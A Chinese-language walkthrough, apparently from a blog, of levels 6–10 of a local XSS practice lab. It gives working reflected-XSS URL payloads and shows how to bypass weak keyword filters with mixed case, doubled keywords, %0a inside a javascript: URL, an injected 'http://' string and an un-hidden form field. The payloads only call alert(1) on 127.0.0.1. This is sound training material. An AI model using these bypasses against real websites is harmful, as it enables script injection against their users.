6. Level6-大小寫繞過
GET請求方式,資料回顯在input標簽的value中,

我們嘗試注入事件,

on被過濾為o_n,我們嘗試大小寫繞過,
http://127.0.0.1:8005/level6.php?keyword="+oNclick="alert(1)

點擊成功觸發XSS,

代碼:
只過濾<script、on、src、data、href,沒有過濾大小寫,例如:<ScRipT、oN,

同理使用注入腳本(script改為sCript)也可也成功,
http://127.0.0.1:8005/level6.php?keyword="> <sCript>alert(1);</sCript>

7. Level7-雙寫繞過
GET請求方式,資料回顯在input標簽的value屬性
我們注入腳本,
http://127.0.0.1:8005/level7.php?keyword="> <script>alert(1);</script>

但是腳本中的script字符不過濾為空,我們嘗試雙寫繞過,
由于服務端檢測到script字符,會替換為空,因為替換一次,外面的兩個字符sc和ript剛好合并為script,
http://127.0.0.1:8005/level7.php?keyword="> <scscriptript>alert(1);</scscriptript>
成功觸發XSS,

代碼:
過濾關鍵詞,進行的是替換為空的操作,由于只是替換一次,可以被雙寫繞過,

同理,使用oonn,srsrcc,dadatata,hrhrefef都可以繞過,
8. Level8-%0a,%0d,%09繞過
請求方式為GET,資料回顯在input的value和a的href中,
我們先從input的value測驗,注入事件,
http://127.0.0.1:8005/level8.php?keyword=" onclick=a"lert(1)


雙引號全部被強制轉義,我們無法閉合雙引號,那我們從a標簽入手,a標簽中通常使用javascript偽協議觸發,

script被過濾替換為sc_ript,我們使用%09(水平定位符號),%0a(換行鍵),%0d(歸位鍵)來插入script中繞過過濾,
http://127.0.0.1:8005/level8.php?keyword=javasc%0aript:alert(1);

成功觸發XSS,

代碼:
過濾關鍵詞,將關鍵詞進行替換,%0a是換行符,導致sc%0aript不能匹配上,不會被替換,但是script關鍵詞中間有換行符,依然會被解釋為scrpit,其他關鍵詞同理,

9. Level9-繞過強制包含字串
請求方式為GET,資料當前回顯在input的value中,同時a的href中也有回顯,但是必須符合要求,

我們依然測驗閉合input的value屬性,

但是雙引號被強制轉義,無法閉合value屬性,
我們從a的href下手,它要求輸入一個符合規范的字串,我們嘗試得到,

不論http://在什么位置,只有包含這個字串就可以通過匹配,
我們使用javascript偽協議觸發,由于過濾的script,我們使用%0a繞過,由于必須包含http://,我們寫一個合法的js陳述句包含即可,使用分號分開,這里用的是: var t ='http://';
http://127.0.0.1:8005/level9.php?keyword=javasc%0aript:alert(1);var+t='http://'

點擊觸發XSS成功,

代碼:
強制包含http://字串,但是沒有控制字串所在位置,在javascript偽協議中使用構造好的的合法js陳述句,就可以繞過,

10. Level10-隱藏域提交
請求方式為GET,資料回顯在上面的黑體字部分,同時下方有3個隱藏域的引數,

我們在請求中提交這3個隱藏域引數,看看有沒有哪個引數的資料回顯,
http://127.0.0.1:8005/level10.php?keyword=well done!&&t_link=11&&t_history=22&&t_sort=33

發現t_sort中有引數回顯,我們注入事件,由于是隱藏域,無法點擊,我們在onclick前將type屬性寫空,去除隱藏屬性,
http://127.0.0.1:8005/level10.php?keyword=well done!&&t_sort=" type="" onclick="alert(1)

點擊觸發XSS,

代碼:

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/355474.html
標籤:其他


